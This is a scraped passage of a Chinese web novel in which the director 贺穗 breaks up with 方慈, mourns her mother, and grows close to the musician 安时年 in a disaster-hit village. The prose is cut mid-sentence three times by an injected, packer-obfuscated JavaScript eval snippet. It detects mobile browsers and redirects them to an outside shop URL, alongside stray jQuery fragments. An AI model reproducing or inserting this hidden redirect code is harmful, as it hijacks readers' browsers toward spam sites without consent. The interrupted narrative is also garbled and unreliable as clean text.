贺穗一动不动的看着贺春藏,眼里莫名的惆怅全然没有消散的意思,贺春藏伸手进来,本想安慰一下,贺穗则是不经意地往后一躲。 皱着眉头嘟囔道:“你刚提过垃圾的手。” 贺春藏笑了一声,直接伸进来在贺穗的脑袋上拍了一巴掌。 “快滚蛋!” 贺穗到了时丰台区已经是晚上,方慈约在一个不起眼的小咖啡店。 小小门头挂着一个暖色的吊灯,沿街开了灯的店铺仅此一家,推门进去暖意扑面而来,水汽盖住了贺穗的眼镜,让她不得不摘下来重新擦拭。 整个咖啡店里只坐了三四桌人,都是两两成双的小情侣,屋子里还充斥着烘焙面包的香甜,这是贺穗大学时期和方慈最喜欢来的地方。 她抬头看去,方慈坐在阁楼的窗口前向她招手。 这个年纪的方慈瘦瘦高高,穿了身藏蓝色的卫衣,领口露出白色的内衬,干净清爽,骨骼分明的手腕上还带着贺穗送他的手表。 方慈帮她拿过围巾,整理到椅子上,才两周不见的恋人居然有些生疏。 “怎么你回来一点消息都没给我?” 贺穗拉开椅子坐下,看着方慈开口发问的神情,话到嘴边又不知道该不该开口。 “太忙了,抱歉。” 贺穗手里摸着发烫的咖啡杯。 “没关系。” 方慈笑了笑身体靠在背椅上,左右看看又低下头。 “贺穗,我……博士的申请通过了。” 贺穗点点头,“很好啊,是那个学校吗?” “对,明年就走。” “真好,你心想事成了。” 贺穗强撑着笑意,欣喜地点了点头。 手里的咖啡发烫,方慈点的餐食是她最喜欢的,这个小小咖啡店还承载了很多他们相恋的过往。 不吵不闹的人声,暖烘烘的环境,该在爱人面前幸福的时刻,在母亲的事面前,压得贺穗只能强装镇定。 “我想在那里读完博,就打算定居。” 方慈微微抬眸,谨慎试探地看向贺穗。 从他申博开始,就不止一次提过这件事,然而出国发展到现在还是不在她的计划之内。 在她自己尚未察觉的瞬间,嘴角闪过一丝失落,她吹了吹手里的咖啡。 “我,我不想去方慈。” “我们……” 方慈手点着滚烫的咖啡杯,说起话来犹犹豫豫。 楼下的圆台上有人弹起悠长轻缓的吉他曲,伴着歌手清亮的嗓音,为本就温馨的咖啡小屋添了更多的温暖。 他眼有些湿润,泪还没出,白皙的皮肤上是红透的鼻梁。 贺穗太明白他要说什么,就抬着眸子静静地看着他,轻舔嘴唇又低下头。 方慈:“我们各有各的路要走,对不对。” 贺穗看着他流下眼泪的神情,麻木的脸上已经忘了自己有多少顺着情意流下。 她郑重地点点头。 只恨自己手里的饮料不是酒。 站在初雪纷飞的门口,失去一切浪漫的因素,她笑着扯了扯围巾。 “行了,你有你的前程,有什么好哭,我车在那边,就不等你了。” 双手插着兜,转身就走了。 那夜与方慈分别后,她把车开到城市的山边,积压在心底的情绪才开始释放,她嚎啕大哭。 雪夜的风比现在前明村的山顶要温和一点,方慈蹲下细细看着那座墓碑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372338|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺穗站在山口抱着怀里的脆脆,看了一会儿就背过身等他。 方慈祭拜完后走过来看向脆脆问道:“睡着了?” “嗯。” 贺穗冷冷地回答。 “我来抱着?” “不用,她不沉。”说着她就往山下走去。 方慈笑了笑跟在她身后,“你变得比以前更加沉稳,大气了。” 缘分的开始是贺穗大学里的篮球比赛,投出去的篮球毫无征兆地砸向方慈的脑袋,他手里的饮料撒了一地,人也倒地不起。 他被贺穗背进医务室,从联系出现的那刻就注定纠缠在一起。 方慈说:“那时有那时的决定,但今天我是喜欢你的,这次项目结束我就写申请留在国内,以前是你追我,这次让我来。” 贺穗听完回身瞪向他,刚想开口。 方慈立马补充说:“这些都是我的决定,我的决定。” “我懒得管你。” 把他送回诊所的路上,沿途都是从山口走进来的救援人员,舆论越压越大,大家都在争分夺秒地通路。 “你去哪里?”方慈抓着车窗问道。 贺穗指指后座熟睡的脆脆,“把她送到学校。” 方慈:“那路上注意安全。” 贺穗保持礼貌地点点头,多得话没说踩动油门就向学校开去,才这一会儿路上就没了人。 山头星星点点的几片灯光都盖不住学校院子里的光亮,车开到学校门口,她抱着脆脆下车。 隔着铁网都能看到院子里周围坐着的都是端着饭碗的救援人员,小小的厨房门口放着三大桶的炒菜,米饭,还在为新上来的救援人员打饭。 没睡觉的孩子在院子里转圈,离教室最近的门口,也就是院子的中间,放着二楼本该积满尘土的钢琴。 已经被擦拭得焕然一新,安时年坐在琴凳上,向着孩子们挥挥手。 他一边笑着一边弹奏音乐。 孩子们的歌声紧跟其上。 “一闪一闪亮晶晶,满天都是小星星……” 随着琴声,安时年歌声与孩子们相接,满院的大人随着歌声晃动。 漫天星辰,也落进了院子里。 贺穗站在院子外,看着灯光下扬着笑意的安时年。 她想起那场演唱会,看见安时年站在舞台中间,四面八方闪耀的星星指向他,硕大的场馆里环绕着他的名字。 星星成海,还有贺穗隔壁包厢里安时年的父母。 贺穗被这些爱所震惊,所以在彩带飘落到她肩膀时,她为偷偷分到万分之一的爱意窃喜,也为自己嫉妒安时年而自嘲。 被爱层层包裹的人能写出什么? 贺穗见过太多道貌岸然的人,也明白时代会把友好的人逼得戒备,不安,让大家不由得为了生活扮演起自己讨厌的形象,圆滑,锋芒,推杯换盏后沉闷拥挤的地铁,还有夜里通宵亮起的写字楼。 麻木把人推进另一个温柔乡,一个永远活力、永远张扬,毫不吝啬表达爱意、本身成为太阳也够格的人的怀中。 逃离混乱现实生活的片刻,把心寄存在他那里。 那份隔着屏幕会产生的爱意,如果对象是安时年的话,贺穗好像能理解一点点。 她怀里抱着脆脆,隔着铁门网与他对视。 嗯…… 说不出话,想再看看他。 17. 房子 安时年曲子弹完又被围上,救援人员的队长要一首营中常唱的曲子,来一场大合唱。 他笑着应和,目光已经穿过人群向大门望去。 只能看到贺穗把怀里的孩子抱给田舒宁。 “安老师,您会弹吗?” 身边的人发问,安时年还没回过神地点点头,手上已经去弹曲子。 直至深夜,学校的灯光打灭,安时年躺在教室角落搭起的小床上,抱着被子黑暗里手上摩挲着那枚尾戒。 把曲子写完,就找个时间还给她…… 听田舒宁说贺穗把脆脆放下就回去了。 安时年转过身,掖了掖被角,嘴里嘟囔道:“来都来了,也不知道打个招呼再走。” 新的一天开始,山路已经通得差不多,很多物资送进来,除了很多社会人士,还有两卡车是安时年粉丝后援会和他自己的工作室。 最后一车进来是贺春藏公司的车,带了被褥,即食的泡面和小零食。 安时年把昨晚拍的视频发送到短视频平台,又掀起一阵热度,引得很多网友追问。 李昌也打来电话,“前明村的路通了,我来接你,幸好耽误的时间不长晚会也能赶上,还有远山汽车看了你的车挡泥沙的视频,在和我们谈代言人,总体来说,还算不错没怎么耽误行程。” “网上舆论怎么样?” “还是那样呗,褒贬不一,不过总体不是坏事,毕竟这天灾又不是你害的,咱们应急公告和物资都发的很及时,还能吸一波路人粉。” 安时年往门外看了看,带着官媒logo的新闻媒体在院子里做采访,正直直地向安时年这里走来。 “知道了,你后天来接我吧,到时候电话联系,我这里还有些事要处理。” “收到,收到。” 官媒的摄像头对上安时年,一旁穿着制服个子小小的记者笑脸盈盈。 “您是安时年?” “对,”安时年随手理了理头发,尴尬笑了笑,“直播吗?” 难得能上回官媒,自己却蓬头垢面的不像样子。 记者手里的话筒递过来,手掌指向镜头,笑了笑:“是的,这是直播频道。” 他抿起嘴唇不敢乱笑,在镜头拍不到的地方双手紧紧捏着衣角。 他长这么大第一次对摄像头窘迫。 “大……大家好,我是青年音乐人安时年。” 记者:“这几天对您的报道层出不穷,大家都知道您的爱车在山外被泥水冲毁,不知道您现在心情如何,是否会有些可惜呢?” “怎么说呢,那辆车陪伴了我很多年,承载了很多特别的回忆,但每一样事物的生命都有尽头嘛,听说车是被架在一个路口,还挡住了很多泥沙,我认为还是有意义的,车比我要勇敢,心里的欣慰大于可惜。” 安时年笑着拍拍胸口,身子随着话筒弯下腰来。 “您昨晚还上传了一个视频,很多网友看了您的装扮调侃说您已经融入了乡村生活,在前明村也已经待了很多天,在您看来前明村如何呢?” 安时年还是保持着笑容,往后退了两步展示身上的穿搭,本就是来和贺穗商量事情,谁曾想直接被困在这里,连换的衣服都没有。 他黄发炸起,身上的衣服被那夜的泥水沾脏,双手插着腰,百般无奈地笑了笑,全身上下只剩张脸撑着。 “前明村的景色很好,尤其是学校前的草浪,听说过短时间放水,这里会变成一片湖水。”安时年推着镜头往外走,走过学校的院子,站在大门口俯瞰整片随风翻涌的草浪。 他接着笑了笑,“我待在这里还受到了很多村民的帮助,还是希望灾情能快点过去,大家都回归正常生活,我也想看看岁月静好时的前明村。” 话没说完,一道小小的身影从隔壁村委会里跑出来,脆脆两个辫子在身后甩得轮转,喊着安时年的名字直直撞入他的怀里。 安时年眉眼带笑,手臂稳稳地托着她的膝弯把人抱起,轻轻颠了两下,另一只手指着面前的镜头,声音温柔,“来,跟镜头里的哥哥姐姐打个招呼。” 跟在脆脆身后的是田舒宁,看脆脆跑过去,她就停在角落,正等着人走完,好巧不巧和安时年对上眼神。 安时年见状,手腕轻轻一转,便推着镜头转向了田舒宁,稳稳地将她框进画面里。 田舒宁嘴角牵起一抹略显局促的笑,向后退半步又生生停住,左右都是躲不开。 “这位是村里学校的田老师,”安时年对着镜头介绍,“土生土长的前明村人,村里的文化她比我了解得多了,您可以采访采访她。” 镜头直直向田舒宁挪去,另一边安时年笑了笑转身抱着脆脆往山下走去。 “您好,我是田舒宁。” 直播的画面出现在贺穗房间的电视上,田舒宁揉揉眉头局促地向记者从前明村的历史到民居建筑一一介绍。 贺穗站在房间的电视前,擦着刚洗完澡还湿漉漉的头发,笑了笑。 安时年真是比她想得还要幼稚。 田舒宁讲到学校文化廊道贺春筝的照片,“这间学校就是贺春筝女士捐建的,她资助前明村的孩子上学已经二十多年了,如今的公司仍然承接着她的遗志,每年都在捐助学生。” 她把摄像头引到学校的荣誉墙,自上至下都是这二十多年从前明村走出去的孩子,男男女女的照片挂了几面墙。 “这是您吗?” 记者指着中间的一张照片,那是田舒宁刚考上大学时的证件照。 她笑了笑,“对,我也是其中幸运的一员。” 贺穗看着电视上田舒宁笑得阳光灿烂,在她还没有离家的时候她也曾见过田舒宁这副样子。 如果母亲能看到田舒宁的优秀也会像这样笑成花吧。 贺穗站在电视前,还擦着没干的头发。 抬眼一瞧,贺春藏趴在门上,笑嘻嘻地看向她。 “什么时候来的?”贺穗关了电视,问道。 “刚到,看直播呢?” “嗯。” 贺穗下楼向厨房走去,打开冰箱,一颗梨静静摆在几瓶饮料旁。 “什么时候剩的梨?”贺春藏说着把一个红兜子放在岛台上。 “安时年放的。” 她喝了一口冰到嗓子眼的汽水,无心地关上冰箱门,目光看向贺春藏带来的袋子。 “他这人挺有意思,我把他送到村长那里的路上,我问什么他都给我打圆场,说起你的事,他还笑笑说不好了解。” “你说什么了?” “就陈前林那事呗,不得解释一下。” “那他听了?” “没有,车走得太快,我还没说就到了。” 贺穗从袋子里拿出一个手掌大的零食,靠在岛台旁,问厨房里的贺春藏,“他是不是话特别多,扯得老远?” 贺春藏思量着点点头,“你这么一说还真是。” “他还真严谨,”贺穗晃晃手里的零食袋,问:“这个怎么还有,我记得是我小时候吃的。” 这是贺春藏从公司拿来的巧克力豆,每个小豆子上都画了小笑脸。 贺春藏在拿着菜刀厨房里回头,看了一眼,平淡地说:“不是你最喜欢的吗?你妈不让我撤,说要一直留着。” 嘴里的巧克力豆化开,最里面是实心的饼干,手里的小豆子上画着歪歪扭扭的笑脸。 “妈妈,你看,我画的这个好不好?像不像?” 小贺穗在贺春筝刚做好的小巧克力豆上画上小笑脸,呲着牙亮个她看。 “像。” 安时年笑着刮了刮脆脆的鼻子,也跟着尝了尝小巧克力豆。 一大一小坐在树下的矮墩上,看着人来人往,秋风吹得树叶飘落, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372339|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 零零散散地铺了一地。 远处张青宇提了一袋子零食走来,到了安时年面前递来一小包巧克力豆,和几个棒棒糖。 “分你几个。” “谢了。” 张青宇跟到他们身边,三个人就这么静静地坐在这片树荫下。 发呆吃着零食,安时年忙忙碌碌一整年难得有闲暇时间能不受打扰地干坐着,可心里还想着贺穗曲子的音调。 最后一口巧克力豆进嘴时,身后响起管弦乐的声音,却不像笛子和箫的音色。 随声看去,几个孩子围站一团,抱着比他们还高的竹子筒,顶端帮着红绳,左右摇晃身子,齐齐吹响。 声音浑厚悠扬,清凉高亢,恰巧碰上随风飘散的落叶,一团一团地成了小型龙卷风。 “那是什么乐器?” 他指着问张青宇。 “芦笙,这里少数民族的乐器。” “你们都会吹吗?” “差不多,反正逢年过节大家都会吹。” 张青宇挠挠脑袋,从塑料袋里拿出一袋干脆面递给脆脆。 “那个乐器,你家也有吗?” “每个人的家里都有,你要看吗?” 安时年点点头,“可以吗?” 张青宇起身拍拍手,“当然,我去给你拿。” 他们三人前面的大路上,熟悉的白色越野车驶来,正好停在他们面前。 打着喇叭摇下车窗,贺穗戴着墨镜看向他,副驾上坐的贺春藏也凑过身子来打招呼。 贺穗问:“吃饭了吗?” “没有。” 贺穗指了指后面,“上车。” 安时年问:“去哪儿?” “去我舅舅那里吃饭,都上来吧正好三个位子。” 张青宇摆摆手,“我就不去了,我家就在附近。” 贺穗把手机扔到他手上,靠在窗户上说:“给你妈打电话,我来说。” 安时年笑着说,“我刚见有个叫芦笙的乐器,想着去他家看看。” 贺穗看了看安时年,莫名感觉他笑得没那么自然。 像是扯着嘴角强颜欢笑。 贺穗也没细想,撇过脸看着方向盘的前方,冷冷地回话:“那个东西我舅家也有,上车吧。” “哦……” 把吃饭的主意打到贺春生家也是贺春藏的一时兴起,人进了厨房从洗菜到烧菜,再到端上桌,贺春藏光想想就觉得疲乏。 两手一合,打了去看望贺春藏的幌子,就拉贺穗出门。 贺春藏系好安全带,两眼放光地看向贺穗,“走吧走吧,他家做饭可比咱俩好吃多了。” 手里握着贺穗没吃完的巧克力豆,倒进嘴里。 “你给我留点。” “你不早说,我都吃完了。”贺春藏甩着空袋子,笑了笑。 “赔我一百袋。” “行行行,有够小气。” 贺春藏无奈点点头,手里捏着空袋子,无聊间细细打量了一番,价格、包装十几年如一日。 一模一样的零食吃进嘴里反倒没小时候香甜。 车里一阵寂静,贺春藏开口道:“话说你妈的房间收拾没?” “都没住人,有什么好收拾的。” “你不会是还没进去过吧?” …… 贺春藏轻笑一声,没想到过了这么多年,贺穗还是老样子。 连自己亲妈的房间都不敢进去。 “我以前就告诉过你,她从来没有怪过你,怎么你自己就揪着这块石头不放下呢?” 贺穗还是一本正经地开着车。 “我没事,你别想那么多,那间房就放着吧,家里好些屋子,又不住她那间。” 她仰着脸向外看去,远远大树下排排坐着三个人,她打开转向灯停在他们面前,向安时年挥了挥手。 18. 答案 贺穗双手抓着方向盘,从后视镜中看了看安时年。 他懒洋洋地靠在窗边,像泄了气的皮球,眼神里满是惆怅,望着窗外。 临近贺春生的家门前,贺穗猛打方向盘,车尾带着一声侧滑发出的声响,稳稳停在院坝边,再走过一个拐角就能见到大门。 贺春藏几乎是立刻推开车门,弯着腰捂住胸口,“不坐了,不坐了!没心脏病都得让你吓出来,快点让小白把我的车开过来,说什么我也不坐你的车了!” 贺穗忍着笑慢悠悠地跟在她身后,右手轻轻牵上脆脆的小手,她低头冲脆脆安抚地笑了笑,才抬眼望向刚下车的安时年。 语气里带着几分自然的关切,“怎么了?” 安时年像是才回过神,眉梢微微挑起。 “嗯?我吗?” 贺穗点点头,脚步顿了顿:“是不是待烦了?” “没有啊,”安时年轻轻摇头,又挂上笑脸,“我在想曲子。” 他顺着贺穗看去,额间留下的疤痕还泛着红,她手里牵着的脆脆跑过去拉上张青宇的手,她才把视角转移到安时年身上。 她站在高处,一身纯黑的运动装从他面前走来,她站在斜坡高点的地方抬眼与安时年平视。 “你那天问我那个片段里女主在想什么,我现在可以回答你,她不想要母亲生下自己,是因为她认为她是为母亲带来一切不幸的罪人,除了生育的痛苦,未来生活的艰辛,还有一个女人带着来历不明的孩子,生活在那个唾沫星子能淹死人的时代。 “但历史无法改变,她会出生的事实也不会改变。” 《寻觅》像是一场钩织出来用于赎罪的梦境,回过神后现实大手将其扯烂、搅碎,片甲不留,让贺穗回归现实后带着这份无法消解的罪过,再生活下去。 贺穗往前多走一步,抬眸看向他。 “你肯定想到了,《寻觅》的主角写的就是我自己,我比普通的孩子更会妒忌,除了一个普通孩子能带给她的困境,我叛逆到变本加厉,这也是为什么,她直到死去都不愿意告诉我她的病情。 “错过她的葬礼,就是我该承受的报应。” 她把头发掖过耳边,撇过安时年的视线,“我不能以现在的我去批判一个孩子的过错,也不能以一个孩子的身份去评价母亲可能不称职的地方,但那个孩子就是我,错是我犯的,罪过就该是我受的。” 她又转过眼,不可思议地笑了笑,“实际上我存在或是不存在于这个世界,都是她期望的……她还真狡猾,往后土堆里一躺,什么烦恼都没有了。” 她坦然地接受,接受一切时间与命运给予她的风雪与晴日。 儿时不敢回忆的过去,如今也已经很平常地出现在脑海里。 不去纠结是爱还是不爱,或是不会爱。 不去追求那唯一的定性,事件就随风摇晃,怎么飘都有理。 那扇门不开,就成了薛定谔的猫,管他生与死,我自有我的说法。 能为我兜底的,只有我自己,也只能是我自己。 安时年微微蹙着眉头,与贺穗对视,一刻不离。 “我好像看见了你母亲的样子。” 这样的神情,贺穗在学校去接他时见过,是浑然而出的心疼,最会骗人的眼神,再看见一次的贺穗有了心理准备才不至于乱了心神。 贺穗直视着他,笑着说:“因为我吗?的确很多人说我长得很像她。” “不是。” “嗯?” 安时年歪歪脑袋,凑前说道:“口是心非的样子。” 贺穗并没有觉得他冒犯,反而挂着笑,问:“为什么?” 她的手被安时年牵起,轻轻地按在安时年心脏的一边。 “我的心觉得你很强大,很强大。” 安时年笑着的眼睛看向贺穗,他的声音小心翼翼,却字字坚定。 “对很多人来说爱不在嘴里,而在于行动,在于内心,你的心在这里,”安时年把她的手推回去,隔着手点到她的胸膛,声音轻了又轻,“她的心也在这里。” 安时年的话像是棉花轻而又松软地包裹住贺穗的心,随着他的声音、动作,贺穗手下的心脏此起彼伏地跳动。 “我们不从表象的行动匆忙去定义她,而是去感受她,蛛丝马迹,草蛇灰线,千人千面的人生走过,脚步一定还是落在地上,就一定会有一个答案。 “我不相信一个处处追求完美的导演,在最本真的地方允许模糊的存在。” 安时年笑笑,放下贺穗的手,两手插着兜微微后退半步。 他低下眉眼注视着贺穗,晴天白日在他身后模糊成时尚杂志的背景版。 安时年此时的姿态与那天讨论音乐时游刃有余的步步追问,一样让贺穗无措。 她并非不要答案,可这是时间送出的,最轻松,最自洽的回答。 让此时此刻的她最平稳的答案。 “很多东西追溯起来已经没有意义了,模糊,未尝不是一个最优解。” 跟着安时年微微后撤的动作她步步向前,清早吹干的发丝飘起,带着阵阵清香擦过安时年的肩。 游刃有余的安老师现下才在他脸上展现出慌乱,左右点着脚步后退。 贺穗浅笑道:“刚不离得挺近的,躲什么?” “刚是我没注意,抱歉。” 贺穗闻言轻笑一声:“我发现你怎么想说什么就说什么,想做什么就做什么?像这样表达一下歉意就认为我要原谅你?我的尾戒你说拿就拿,我家的厨具不经我同意说用就用,从我家搬出去也没有通知我,你的客房是我特地整理出来的,你不喜欢?” 精心准备? 安时年的眼神一亮,紧紧咬住憋着笑的嘴唇,为了不让话掉到地上,他忙说:“我喜——” 被一同开口的贺穗打断,带着些挑逗地发问:“尾戒你是特地不还给我?” 你! 怎么知道! 安时年被说得一懵,全然忘了自己之前说过戒指在工作室,紧张地咽下口水,抿起嘴一言不发。 贺穗抱着双臂,顺坡下驴问:“随身带着呢? 安时年避开她的视线摸摸鼻子,心虚地一句话也说不出口,满脸的通红连带着脖颈和耳廓。 贺穗:居然是真的。 他上一次莫名的羞怯与心疼让贺穗滋生了误会,可今天贺穗分不清是心动产生的直觉,还是他本就如此。 心底那个义无反顾地声音高喊:“骗子,骗子!” 贺穗被自己逗笑,看着现在满脸通红的他,她又一次想证实自己的想法。 探头向安时年问:“你很在意我?” 安时年看向轻轻笑起的贺穗。 听见她的下一句,他才明白什么是石头砸进水里,涟漪惊起滔天骇浪。 “喜欢我?” 安时年惊讶之余,目光不自觉地从贺穗的身上往她身后望去,一时愣住。 贺穗也顺着他的目光转身。 “停!别转过去!”安时年脱口而出。 “怎么了?” “山上有人在拍。” “山上?”贺穗身后的山离得老远,她皱着眉头发问:“山上的你都能看到?” “被拍习惯了,能感觉到点。” 贺穗睁大眼笑道:“你不会是为了转移话题吧?” 安时年一本正经说:“当、然、不、是!” 贺穗点点头学着安时年后撤道:“啊,知道了,知道了。” 手放进上衣兜里,顺手抛给安时年一个小布袋。 贺穗指指耳朵,“你的耳饰。” 她今早到安时年搬出来的客房时,床铺都被已经他打理整洁,只有床头柜的托盘旁放着宝蓝色的水晶耳坠。 还有一颗小小的星星耳钉。 耳坠太过显眼,让贺穗平时都没有注意到他耳朵上还有别的耳钉。 耳坠的整体是水滴样式,耳针处是一枚金子小珠,珠子下则是丝丝缕缕的金线缠绕三分之一的水晶,勾勒出涟漪。 她细致地看了半晌,从家里的首饰柜里找了个布袋子给他包起来。 手放进兜里,才想起来要给他。 贺全涛从拐角处跑出来,打着招呼喊道:“怎么还不进来?等你们半天了。” 两步路刚跑到贺穗身边,就被她一把拉过,水灵灵地原地转了个身,拉着进了自家大院。 贺全涛:“不是,安哥不进来?” 贺穗:“他忙得很。” 她大步拽着贺全涛走。 另一边,安时年正给李昌打电话,一手撩起头发,眉头紧锁,目光沉沉地望向远处。 对于他的工作来说,镜头已经是再平常不过的东西。 以至于山边的树枝摇曳,叶子交织掩盖下的那个镜头。 他也能注意到。 “李昌,今天下午我会发一些我拍的一些视频,你让大家尽快剪个Vlog出来发到微博,一定一定要快。” “怎么了吗?这么紧张。” “嗯……”安时年揉揉眉头,“刚和女生聊天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372340|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该是被拍了。” “大哥,你能接触到的不是男就是女,说两句话有什么好慌的,”李昌笑了笑,“要真有人发稿子,发个辟谣声明就好了。” 李昌的笑慢慢缓下来,“你不会做什么事了吧?不对,你又不是这么没分寸的人,话说你去前明村干什么,不是因为这回的事我都不知道有这么个地方……我去,你不会真追姑娘去了吧?!说话!” 安时年才沉默一小会儿,李昌就长篇大论地说了一堆,最后还不忘补充道:“你想想你的工作,虽然你不是爱豆出身,但还是有些女友粉的。” “知道了,我有分寸。” 安时年沉默到最后冷不丁说这么一句,只留下李昌在他耳边尖叫。 “是谁?!艺人,还是素人?不对,你那地方也没艺人吧,我可提前给你说,要真有喜欢的别管对方知不知道,你可得先告诉我!” “好好好,我有分寸,你记得我说的事,尽快让大家剪出来。” 安时年的手在耳朵上摸了又摸,挂了电话顿了片刻,才向大门走去。 庭院里砖石瓦房,一颗枣树,贺春生一家把木桌子搬到庭院里,大大小小凑了几只形态各异的木凳子。 安时年刚进院子,围上来一只小黄狗,挂着福牌,“汪汪”叫了两声欢迎语。 “这是我家老黄狗剩下的一个仔,叫福气。”贺全涛走来把福气打横抱起,给安时年看它的福牌。 “好福气,好名字,”安时年拍拍它的脑袋,拿出手机,“我拍一下可以吗?” “可以啊,把它福牌也拍上!” 安时年跟着贺全涛的介绍,整个庭院拍了个遍。 等不及大人,张青宇和脆脆先坐上小凳子吃着小面,还不忘分享给福气一些。 拍的房门口正好遇上贺全涛的妈妈季明两手端着两碗面条出来,小小健壮的身子,一小步一小步地从台阶上挪下来。 最后一阶还没下来,安时年和贺全涛就一人一碗地接过。 “安哥,这是我妈。”贺全涛把碗放到桌上,拦着季明的肩膀笑着。 贺全涛的个子随了他爸,圆圆的脸颊倒是像他母亲,眼睛眯成一条缝笑脸盈盈地看向安时年。 复制粘贴的两张脸,笑着一样的弧度。 “我们这里没什么,都是农家小面,别嫌弃啊。”季明笑道。 “没有没有,我喜欢吃面。” “喜欢就行,你俩坐着,我去端小菜。” 安时年顿时跟上,被母子俩拦下,摆摆手,道:“客人坐下,客人坐下!” 院子桌旁坐着两个孩子,贺全涛进了屋子院子里的大高个就剩了他一人,一时间坐立难安。 他向张青宇问:“剩下的人呢?” 张青宇端着碗,嘴里的面条都没咬断,用筷子指着一间厢房,嘟囔道:“那里面。” 安时年算是泄了气,毕竟没主人家引,他也不方便进去找她,只能跟着两个孩子坐在小木凳上。 片刻后,贺春藏掀开帘子走了出来。 抬头正巧与安时年对上视线,她笑笑走过来,把大衣挽起来抱在腰上一把扯过小椅子。 “等贺穗呢?” “对。” 贺春藏抬了抬眉毛,点点头,笑道:“先吃饭吧,她等会儿就出来。” 安时年的目光不自觉地移到贺春藏脸上,她的短发别在耳后,侧脸鼻梁的弧度简直与贺穗一模一样。 “贺穗……和她母亲很像吗?长相。” 贺春藏坐在桌边端着面,听见安时年这个问题手上先是一顿,挑了挑面条。 福气正围着吃饱饭的脆脆满院子追逐,一大一小踩过落叶,一步一脆响。 “像。” 贺春藏看向安时年,她眼里的轻佻沉寂下来,几丝鱼尾纹从眼角静静蔓延。 好像这一刻,她脸上才浮现出与年龄相仿的沉静。 贺春生从屋里端着一篮子枣,弓着腰站在安时年身后。 “现在的她比过去的她还像她母亲呢。” 他从篮子里抓了两把枣递给贺春藏与安时年,用脚勾来边上一个屁股坐不全的小凳子,蹲着坐下。 续上算不上笑的一声笑,说:“也是好事,她妈妈厉害的很。” 桌子对面厢房的门帘被拉开,穿着羊羔绒外套,扎着丸子头的女生走出来给身后的贺穗让路。 贺穗的怀里小心翼翼地抱着粉红色的包被,她从屋里一出来,低眉抬眼地看见木桌边的一圈人注视着她时,不自觉地抿嘴笑了笑。 19. 秋燥 “怎么了?都这么看着我。” 贺穗抱着怀里的孩子,不解地望着这三人。 站在远处的贺全涛早就按耐不住地三步并两步瞬移到她身边,扎着马步伸着双臂边走边护着,嘴里念叨:“姐啊,你小心点,小心点。” 另一边的女生先一巴掌拍在贺全涛的背上,力道不轻不重刚好让他收了嗓门,“穗姐姐抱得好好的,你别瞎催。” 贺穗怀里层层包被中两只小小的手高高举起,刚吃完奶的孩子砸吧着嘴唇,懵懂的眼神直直黏在着贺穗脸上,不时轻颤着睫毛。 她脚步平稳地走到安时年面前,眼底笑意温柔得几乎溢出来。 “起来。” 安时年瞬间站起,探头看了看她怀里的孩子。 贺全涛的小女儿模样随他妻子多一些,葡萄大的眼睛还有高高的鼻梁。 小小一只不怕生,看过贺穗又去盯着安时年。 贺穗:“伸手。” 安时年指尖下意识在裤子上蹭了蹭,嘴角笑起来问,“让我抱着?” 扎着丸子头的女生挽着贺全涛跟上来,正好站两人中间,她眉眼弯弯,举着相机,笑道:“抱一下,拍个照片,可以吗?” “这是我老婆,穆目,这是我女儿叫宝宝,”贺全涛耷拉着嘴角介绍,向安时年说:“安哥,你可好好抱,敢摔了你就完蛋了。” 话刚说罢,穆目的手毫不客气地拍上贺全涛的后脑勺,“好好说话。” 她呲牙一笑,两颊露出浅浅的梨涡,她把手臂环起来示意给安时年,“你就这样抬着,穗姐姐把宝宝放你手臂上,你要用手扶着孩子的脑袋和腰部。” “好。” 安时年点头应和着,目光落在贺穗身上,悄悄把手臂放低了些。 孩子被贺穗小心翼翼地抱过来,她俯身将孩子放在安时年的臂弯里,抓着安时年的手轻轻地放在孩子的腰下。 贺穗把盖在宝宝脸上的包被往脸下掖了掖,笑着逗孩子,抬眸的时刻恰好与安时年的眼神撞个正着。 “别看我,看她。” 安时年抬脸笑笑,“她多大了?” “刚六个月。”穆目说。 安时年手里抱得紧张,可孩子在咿咿呀呀地时候,安时年又能稳稳晃起手哄着,动作生疏却格外温柔。 “好了好了,就保持这个姿势我拍一张。” 穆目一边笑着念叨,一边往后退了两步,手机举在眼前来回调整,仔细找着最佳角度。 贺全涛这会儿也没了先前的紧张,抬手冲安时年摆了摆,语气轻快地指点道:“安哥往左转转,把我家的枣树也拍进去。” 才站一会儿安时年就成了打卡的靶子,单人的拍完,穆目过来,穆目拍完,贺全涛过来,接着就是贺全涛的爸爸妈妈。 他爹嘴上念叨着,“有什么好拍。” 人到镜头前,又是一副笑呵呵剪刀手的模样。 惹得大家一阵笑。 “行了,拍完了安哥!你能给我签个名不?” 